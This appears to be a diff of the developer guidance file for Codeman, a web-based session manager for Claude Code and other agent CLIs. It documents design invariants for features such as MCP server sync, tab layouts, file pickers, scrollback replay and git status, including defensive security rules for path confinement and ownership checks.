**MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
**Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) and a Discord reply (`DiscordBridge.onGatewayMessage`, through the bridge's `sendInput`) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
@@ -199,7 +204,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Owner tab layouts** (`tab-layout*.ts` + `GET`/`PUT /api/tab-layout`): named tab GROUPS over the flat strip, scoped per owner (`@single` when multi-user is off), persisted as `tabLayouts` in state.json. The frontend reads AND edits it (`tab-layout-browser.js` + the grouped-rail block in app.js): the vertical rail draws the owner's groups as collapsible sections (collapse is per-device localStorage), and with no groups or a failed read the rail is the flat list. Groups are created, renamed, reordered and deleted, and rows moved between them, from the row/group menus (Shift+F10 on a header too) and by pointer drag in the grouped rail. A ref may carry `focus: true` ("Add to Focus" in the row/web-tab menu, the named `setFocus` operation): the rail then draws a SHORTCUT to it in a pinned, collapsible Focus section (`_renderTabFocus()`), its own element in `#tabRail` ABOVE `#sessionTabs`, so it shows on the flat rail too and is never a row, tree item, Alt+N slot, lineage anchor or drag target. ⚠️ Every copy of a ref (`copyRef` in tab-layout-browser.js, `parseRef`/`mapRef` in tab-layout.ts) must carry `focus` like `placement`: the browser PUTs whole layouts, so a dropped field is erased on the next save by whoever saves. ⚠️ Grouping is a render layer only: `sessionOrder`, Alt+N and every other order consumer still read the server-projected session order (Alt+[ / Alt+] and Ctrl+Tab included), except the phone swipe, which walks the drawn order like the strip's arrow keys (`nextSession({ visual: true })` through `_stripSessionOrder()`), and a grouped row's markup is the flat row's markup. ⚠️ Only the GROUPED rail is an ARIA tree (`role=tree`, headers owning `role=group`s, one roving `tabindex=0`); the strip, sidebar and flat rail stay `tablist`/`tab`. ⚠️ Every browser write is a named operation through ONE serialized `PUT /api/tab-layout` at a time (`createEditCoordinator`): a 409 replays the operations onto the server's layout and retries (bounded), and an SSE reload is deferred while a write is in flight. Never PUT the layout from anywhere else in the frontend (the `pagehide` keepalive in `_persistPendingTabLayoutEdits` is the one deliberate exception). ⚠️ Placing a NEW session in a group rides its create request (`tabGroupId` on `POST /api/sessions` / `/api/quick-start`) into `TabLayoutService.sessionCreated()`, which registers the session inside the owner lock and places it in the same write; never place a created session with a follow-up PUT. A spawned child lands after its parent; whether it keeps FOLLOWING it until moved by hand is the synced `spawnedTabsFollowParent` setting (default OFF: pinned `manual` in the creating write), read fresh in `sessionCreated()`. A case's **default session group** (Case settings; `caseDefaultGroups` in state.json, per owner and case) is the fallback placement in that same write, below `tabGroupId` and the parent, from the create request's `caseName` (quick-start, Ralph start, or inferred lexically from a `POST /api/sessions` `workingDir`); it is read and written ONLY through `TabLayoutService`. ⚠️ A legacy order PUT marks a child `manual` ONLY when the requested order splits it from its parent's block (`applyLegacySessionRank`), and the browser never echoes create/delete through `PUT /api/session-order`: the server already re-projected and broadcast it. Web-tab OPENNESS stays per device. ⚠️ `TabLayoutService` is the single mutation boundary (one completed server action = at most one versioned write); never write layout state from a route or manager directly. ⚠️ The layout PROJECTS onto `PUT /api/session-order` via `tab-layout-legacy-order.ts`; change both sides together. ⚠️ Reconciliation is gated on a SUCCESSFUL restore (`markRestorationComplete`/`assertDeletionReady()`): a failed restore must leave the layout untouched or live tabs get pruned. → [architecture-invariants#owner-tab-layouts](docs/architecture-invariants.md#owner-tab-layouts)
**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()`, gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session Codeman starts installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()` (an adopted session installs none: it has no workspace of ours), gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
**Reboot restore** (`src/reboot-restore.ts` pure + `web/reboot-restore-registry.ts` + `routes/reboot-restore-routes.ts` + `reboot-restore-ui.js`): after a host reboot kills every pane, Codeman holds an IN-MEMORY plan of the destroyed sessions and a banner offers to rebuild them. ⚠️ The heuristic only decides whether to ASK. ⚠️ Rebuild is TAKE-then-build (entries leave the plan before the first `await`, single-flighted per owner). ⚠️ Re-check grant, workspace and already-live at click time, reading already-live FRESH per entry; key confinement on the entry's OWNER, never the caller. ⚠️ Rebuilt sessions come back disarmed: no respawn/Ralph, `rearmAutoResumeSchedule: false`, and pass `nameSource` through. ⚠️ Undo a failed rebuild with `discardPartiallyBuiltSession()`, NEVER `cleanupSession()`. Claude-mode only, never remote/docker. Tests: `test/reboot-restore.test.ts`. → [architecture-invariants#reboot-restore](docs/architecture-invariants.md#reboot-restore)
@@ -217,10 +222,10 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Full-scrollback replay**: `GET /api/sessions/:id/terminal?full=1` returns the whole tmux scrollback ALONE (`source='mux-full-history'`), superseding the byte buffer. First load of each non-shell TUI session requests it (`_fullHistoryLoaded`); Shell selection, drop recovery, clear and a tile's load use `SHELL_LOAD_QUERY` (constants.js), a bounded window of tmux's RENDERED history (`?full=1&tail=1MiB&alt=recording&lines=10000`), never the raw byte recording, whose full-screen repaints replayed at another pane height push copies of their top row into scrollback; the route reports a client `lines=` bound below the history ceiling that left lines in tmux as `truncationReason: 'tail'`, and `alt=recording` falls back to the visible frame over the tailed byte recording when the pane is in the alternate screen (a nested tmux in a remote or Docker case keeps no tmux history; vim/less take it too while open). A Shell scroll-to-top pulls a bounded `?full=1&tail=` window (a window no longer than the browser's buffer is skipped before the downgrade guard, so it never marks the session exhausted); the unbounded pull stays behind **Load full history**. A Shell split-pane Pane B has its own copy of the bounded pull against its own xterm (`TerminalTile._pullHistory`, terminal-tile.js); keep the two in step. → [architecture-invariants#split-pane-sessions](docs/architecture-invariants.md#split-pane-sessions) ⚠️ The capture ends with a RELATIVE cursor move back to the pane's caret (never `CUP`), so no line-deleting transform may run over it; those skips key on `isFullCapture`, never on `?full=1` alone. ⚠️ A re-pull must never shrink the buffer (`_replayWouldShrinkBuffer()`). ⚠️ `captureCols`/`captureRows` are absent when no frame was positioned: test `Number.isFinite`, never truthiness. ⚠️ A frame dropped at the 128 KiB render cap MUST be recovered, and the recovery verifies itself: `_scheduleDroppedOutputRecovery` re-arms (bounded by `DROP_RECOVERY_MAX_ATTEMPTS`) while `_onSessionNeedsRefresh` reports no repaint, but never after a capture-fetch `'deadline'`. → [architecture-invariants#full-scrollback-replay](docs/architecture-invariants.md#full-scrollback-replay)
**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode and copilot get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, or tracked Copilot**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode, copilot and pi get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, tracked Copilot, or tracked Pi**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Pi has no version gate either, and is fullscreen by default since 1.0.0: it enables tracking once at start, so the flag is what survives a tab switch or reload (xterm's own mode does not). ⚠️ Pi deliberately has no `transcriptPageKeys`: its `tuiMode: regular` binds those keys to the editor, so paging there moves a draft's caret. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
**Detached start + service install**: `codeman web -d` relaunches the same entry script `detached:true` (setsid); `nohup` is not what makes it survive. ⚠️ Both `-d` and `service install` must REFUSE when a server is already up on this data dir (pidfile + `/api/status` probe), or a second instance attaches to the first one's live sessions. ⚠️ Never report success not observed: poll `/api/status` until the child answers or dies. `--stop` must verify the pid still looks like Codeman (`ps -o command=`) before signalling. Unit/label names live only in `config/service-names.ts`. `service install` bakes the installing shell's PATH into the unit and never writes `CODEMAN_PASSWORD` into it. → [architecture-invariants#detached-start-and-service-install](docs/architecture-invariants.md#detached-start-and-service-install)
**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ An install with no git checkout (`install.sh` on a machine without a working git leaves the marker `.install-source`) is kind `archive`: it cannot update in place, and both the check and the UI tell it to re-run the installer, never the npm line. ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
**Reverse-proxy base path** (`--base-url` / `CODEMAN_BASE_URL`, default `/`; pure single source `src/config/base-path.ts`, normalized to `''` or `/foo`): mounts Codeman under a sub-path behind a proxy that forwards the prefix unchanged. Few choke points: `stripBasePath()` in Fastify's `rewriteUrl` (routes stay prefix-agnostic; unprefixed requests still answer), one `onSend` hook rebasing `Location`, `renderIndexHtml` rewriting `<base href>` + injecting `window.__CODEMAN_BASE__`, and `CodemanBase.url()` (constants.js) for runtime URLs. ⚠️ Keep template asset refs RELATIVE, and route every root-absolute frontend URL (EventSource/WebSocket/`window.open`/src) through `CodemanBase.url()`. ⚠️ Web-tab proxy egress goes through `proxyPrefixFor(cap, basePath)`; ingress parsers stay base-agnostic. ⚠️ `--base-url` must ride `buildWebArgs` and `resolveServicePlan`. Tests: `test/base-path.test.ts`. → [architecture-invariants#reverse-proxy-base-path](docs/architecture-invariants.md#reverse-proxy-base-path)
@@ -232,23 +237,25 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLine()` for URL continuations in indented paragraphs and table cells. List markers, bare numbers, version tokens, whole email addresses, labels ending in `:`, measurements and clock times (`45%`, `12.3ms`, `10:00:00`) and a `name=value` field under a URL ending in `/` never continue a URL; a token with only `-`, `_` or `.` is also refused when it carries a call paren (`client.get()`) or ends a sentence (`Done.`). A URL in the last column of a space-aligned table never takes the next row's first cell: a continuation row must start inside the URL's own cell, so a gap of two or more spaces between its indent and where the URL starts on the row above means it is the next record. `terminalCellWrappedPaths()` follows each table cell independently: a fragment carries on into the next row only when it ends its cell on `/` or `-` (where a wrapper breaks a path; codex's cell wrap never breaks at `_`), the continuation row is blank to the left of the cell (a wrapper wraps every column of a table row together, so a label there such as `Entry` or `│ Log │` is the next record, unless a left column's path continued on that row too; a left column of wrapped prose, as in a `Description | Path` table, fills that row as well, so the path beside it keeps its per-row fragment links, the safe direction), the next row's token passes `pathContinuation()`, and the cell is no wider than the one above. So a directory that is a whole cell value (`/home/u/proj` over `config.yaml`, or `/home/u/proj/app/` over a labelled `main.py`) keeps its folder link and the next row keeps its own file link. With no label to tell them apart, a directory written with its trailing slash over a relative path in the same column (`/home/u/proj/src/` over `lib/util.ts`) still joins, a known trade-off: it reads exactly like a wrap at `/`. Accepted paths displace other links on their cells. Full-width divider rows stop `terminalLogicalLine()` stitching for both links and touch selection. OSC 8 links confirm the real target URI before the shared opener runs.
**Filesystem path picker** (Link Existing "Browse" + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file. Inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping**: it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing has it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > New Case makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
**Filesystem path picker** (every Add Case "Browse": Link Existing, Create New's custom folder, Clone Repo, Docker; + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file (Docker's Container Workdir picker lists through its own `fetchListing` over `POST /api/docker-cases/browse` instead, so the allowlist, blocked-tree and ownership rules below do not apply to it). A Browse fills its form field; the Path key inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping**: it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
**File Viewer edit mode** (issue #212): the file-preview overlay edits workspace text files in place: `GET .../file-content?edit=1` + `PUT /api/sessions/:id/file-content`, policy in `src/config/file-editing.ts`. This is a **third file surface and the only one that writes file contents** (the path picker's New folder creates folders only): read-path confinement (realpath + workspace + ownership) plus sensitive/blocked/`.git` denies and an extension **allowlist**; writes are `wx`-temp + rename (no `O_CREAT` anywhere = edit-in-place is structural); optimistic concurrency via sha256 `baseHash` → 409. ⚠️ `edit=1` never truncates and the client must never save a plain-preview buffer (the 500-line truncation would silently delete the rest). ⚠️ CRLF/UTF-8 guards: EOL re-applied server-side, non-UTF-8 refused via round-trip compare. → [architecture-invariants#file-viewer-edit-mode](docs/architecture-invariants.md#file-viewer-edit-mode), `docs/file-viewer-edit-plan.md`
**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. Tree and search share one walk shape: a per-directory round-robin (breadth-first, so fair per directory, not per subtree) over one 5,000-node budget, where a folder's own files count as one share beside the subfolders it just found (`walkTurnEnd()`). ⚠️ That budget caps what is LISTED, never what is read: a read keeps only what the listing can use (`readWalkFolder()`) and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders, or one GET reads the whole workspace into memory. ⚠️ A folder below the walk's root is probed (#516) before its `readdir`, and anything but `directory` is skipped unflagged. ⚠️ A directory has its node before it is read, so every cursor still queued or unread when the walk ends must get `incomplete: true` or it reads as an empty folder. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` on `GET /api/sessions/:id/files`): Claude's EnterWorktree moves the process, and `paneCwd` follows it (tmux reads the process cwd, measured on 2.1.318, back out on ExitWorktree too), while `workingDir` stays the session's identity. `refreshLiveWorktree()` (server.ts) turns a changed `paneCwd` into `SessionState.liveWorktree` by reading the `.git` FILE (never spawning git), walking up and stopping at `workingDir`, a repository or submodule of its own, or anything unreadable. ⚠️ The security argument has two halves. The lookup only ever answers a folder strictly below `workingDir`, but that is a LEXICAL judgement made when the pane moves, and a symlink can replace the folder or a parent later without moving the pane, so `root=live` re-checks on every request (`canWalkLiveWorktree()`, file-routes.ts: walk the worktree only when it resolves strictly inside the resolved `workingDir`, else walk `workingDir`). The walk starts there, returned `path`s stay relative to `workingDir`, and the routes keep confining to `workingDir`, so never make `liveWorktree` a confinement root (a worktree outside the folder stays unfollowed). ⚠️ Only that check uses resolved paths: the walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`. ⚠️ A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel. ⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that with the session's state, and an absent report would reload forever. Tests: `test/live-worktree.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/file-browser-worktree.test.ts`. → [architecture-invariants#files-panel-in-a-worktree](docs/architecture-invariants.md#files-panel-in-a-worktree)
**Git status indicator** (`showGitStatus`, per-device, default OFF; `src/git-workspace-status.ts`, `routes/git-status-routes.ts`, `git-status-ui.js`): the bottom-bar indicator and its panel read `GET /api/sessions/:id/git-status` and `/git-diff`, read-only and offline on its own (it never fetches; fetching is the separate path below). ⚠️ git never runs on a repository at or inside a Docker case workspace (walk-up, scan and diff alike, and a cached repository list is re-checked against the CURRENT Docker roots), since a container could plant a clean filter that runs on the host; remote and Docker sessions answer `unsupported`. ⚠️ `git-diff` takes `repo`/`path`/`kind` only as keys matched against the workspace's own repository list (`findWorkspaceRepo()`) and that repository's current status, never as paths. ⚠️ Keep `--no-optional-locks`, `core.fsmonitor=false` and `log.showSignature=false` on every call and `--no-ext-diff --no-textconv` on diffs; clean filters still run, which is why the Docker rule exists. ⚠️ An enclosing repository at `$HOME` or above is ignored (`isUnrelatedAncestor()`), and is identified by one cached `rev-parse` before any full status runs. Everything git supplies renders via `textContent`. Tests: `test/git-workspace-status.test.ts`, `test/routes/git-status-routes.test.ts`, and `test/git-status.browser.test.ts` (browser suite, not in the gate).
**Git fetch** (`src/git-fetch.ts`, `src/git-fetch-scheduler.ts`, `routes/git-status-routes.ts`, the panel's **Fetch** button): `POST /api/sessions/:id/git-fetch` is the ONLY git command the Git PANEL runs that WRITES (cloning and worktree management write too, but only when the user asked for them at that moment), and it is the only one that can run later by itself, on a timer, and the only one that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, config commands such as `credential.helper`), which is why it is opt-in and never runs on a timer until the user turns it on. ⚠️ Fetch updates remote-tracking refs only; it must never commit, check out, merge or touch the working tree. ⚠️ It is not as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref`, hence one folder is fetched by at most one run at a time (`fetchWorkspaceOnce` joins a run already going), and `FETCH_CONFIG_ARGS` (`-c core.fsmonitor=false -c maintenance.auto=false -c gc.auto=0`) keeps an unattended fetch from starting a gc in a repository the agent is using. ⚠️ `buildFetchArgs()` is `['fetch', '--quiet']` and must stay verb-invariant 